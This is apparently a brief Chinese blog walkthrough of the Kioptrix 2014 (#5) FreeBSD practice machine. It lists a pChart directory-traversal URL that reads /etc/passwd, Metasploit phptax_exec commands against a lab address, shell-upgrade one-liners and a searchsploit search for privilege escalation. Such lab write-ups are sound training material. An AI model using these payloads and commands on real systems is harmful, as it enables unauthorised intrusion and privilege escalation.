vulhub——Kioptrix: 2014 (#5)[freebsd系统]

目录

 

信息收集

        PChart

文件包含

目录遍历漏洞

MSF

提权


信息收集

        PChart

文件包含

尝试利用漏洞,http://192.168.190.190/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd

目录遍历漏洞

由于这个系统是freebsd,所以可以知道apache的位置

该系统对应的配置文件目录/usr/local/etc/apache22/httpd.conf

https://github.com/d34dfr4m3/kioptrix_l5_xpl

 

MSF

exploit/multi/http/phptax_exec

set rhosts 192.168.190.190

set rport 8080

exploit

提权

python -c ‘import pty; pty.spawn(“/bin/bash”)’
echo os.system('/bin/bash')
/bin/sh -i
 
searchsploit freebsd 9 | grep Privilege
 

 

猜你喜欢

转载自blog.csdn.net/weixin_43650289/article/details/106903089